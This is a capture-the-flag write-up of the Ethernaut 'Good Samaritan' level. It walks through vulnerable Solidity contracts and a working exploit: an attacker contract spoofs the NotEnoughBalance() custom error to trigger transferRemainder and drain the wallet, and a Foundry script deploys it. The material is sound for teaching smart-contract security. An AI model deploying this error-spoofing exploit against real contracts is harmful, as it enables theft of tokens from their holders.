# The Ethernaut CTF Solutions | 27 - Good Samaritan

## Goals

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/27-goodSama-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/27-goodSama-requirements.webp)

## The Contract

A really fun challenge, with a simple goal and a pretty recent vulnerability introduced that we will need to be aware of from now on!

```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import {Address} from "../helpers/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns (bool enoughBalance) {
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (
                keccak256(abi.encodeWithSignature("NotEnoughBalance()")) ==
                keccak256(err)
            ) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10 ** 6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if (amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if (dest_.isContract()) {
                // notify contract
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}
```

## The hack

We are given three contracts in the `GoodSamaritan` level:

1. **GoodSamaritan** - The contract in charge of distributing the donations.
    
2. **Coin** - A very minimalist token implementation handling the users' balances.
    
3. **Wallet** - The wallet belonging to this good old sama.
    

How to drain the good old Sama's wallet?

Let's check the `GoodSamaritan::requestDonation` function:

```solidity
function requestDonation() external returns(bool enoughBalance){
    // donate 10 coins to requester
    try wallet.donate10(msg.sender) {
        return true;
    } catch (bytes memory err) {
        if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
            // send the coins left
            wallet.transferRemainder(msg.sender);
            return false;
        }
    }
}
```

From there, we can either:

* request 10 coins many, many, many times, or...
    
* try to find a way to trigger the `transferRemainder` function to withdraw everything at once.
    

So, because we are lazy, let's try to withdraw everything at once!

The `transferRemainder()` function is protected by the `onlyOwner` modifier, so the only way to trigger it is by reverting with the `NotEnoughBalance()` custom error.

So what happens exactly when we request a donation? The `Wallet::donnate10()` function is called:

```solidity
function donate10(address dest_) external onlyOwner {
    if (coin.balances(address(this)) < 10) {
        revert NotEnoughBalance();
    } else {
        coin.transfer(dest_, 10);
    }
}
```

This function reverts with the `NotEnoughBalance()` error only if the wallet's balance is less than 10. Otherwise, it forwards the call to the `Coin::transfer` function.

```solidity
function transfer(address dest_, uint256 amount_) external {
    uint256 currentBalance = balances[msg.sender];

    if(amount_ <= currentBalance) {
        balances[msg.sender] -= amount_;
        balances[dest_] += amount_;

        if(dest_.isContract()) {
            INotifyable(dest_).notify(amount_);
        }
    } else {
        revert InsufficientBalance(currentBalance, amount_);
    }
}
```

This custom `transfer()` function is interesting because it calls the `INotifyable::notify` function if the destination address is a contract. And this relies on the `INotifyable` interface. So what if we implement the `INotifyable` interface to revert to the `NotEnoughBalance()` error if we receive 10 coins?

So the flow would be like this:

1. `GoodSamaritan::requestDonation()`
    
2. `Wallet::donate10()`
    
3. `Coin::transfer()`
    
4. `INotifyable::notify()`
    
5. `ThanksForTheNotif::revert NotEnoughBalance()`
    
6. `wallet::transferRemainder()`
    

Yes, that's right, a custom error thrown in a catch block from a try/catch can be thrown by any other contract since they are identified by their 4-byte selector!

There we have it. Upon receiving the notification from the donation, our contract will trigger a revert with the same custom error, which will have the same 4-byte selector, and pass the check in the `requestDonation()` function, triggering the `wallet.transferRemainder(msg.sender)` function.

Since custom errors are cheaper in gas than their `require()` alternatives, they have become best practice and this kind of hack in try/catch block might become more common.

## Solution

Here is the `ThanksForTheNotif` contract that will do just that for us:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface INotifyable {
    function notify(uint256 amount) external;
}

interface IGoodOldSama {
    function coin() external returns (address);
    function wallet() external returns (address);
    function requestDonation() external returns (bool);
}

interface ICoin {
    function balances(address user) external view returns (uint256);
}

contract ThanksForTheNotif {
    IGoodOldSama private goodOldSama;
    ICoin private coin;
    address private wallet;

    error NotEnoughBalance();

    constructor(address _goodOldSama) {
        goodOldSama = IGoodOldSama(_goodOldSama);
        coin = ICoin(goodOldSama.coin());
        wallet = goodOldSama.wallet();
    }

    function notify(uint256 amount) public pure {
        if (amount == 10) {
            revert NotEnoughBalance();
        }
    }

    function attack() public {
        goodOldSama.requestDonation();
        require(coin.balances(wallet) == 0, "Attack failed!");
    }
}
```

Now, let's write a quick deployment script:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";
import {ThanksForTheNotif} from "../src/27_GoodSamaritan.sol";

contract PoC is Script {
    // Replace with your GoodSamaritan instance
    address goodOldSama = 0x19bd36accED359007B00Baf460Eb07045c3396BD;

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        ThanksForTheNotif thanksForTheNotif = new ThanksForTheNotif(
            goodOldSama
        );
        thanksForTheNotif.attack();

        vm.stopBroadcast();
    }
}
```

The command to run the script:

```solidity
forge script script/27_GoodSamaritan.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

🎉 Level completed 🎉

## Takeaway

* Custom errors in a try/catch block can be thrown by any other contract since they are identified by their 4-byte selector.
    

---

You can find all the codes, challenges and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
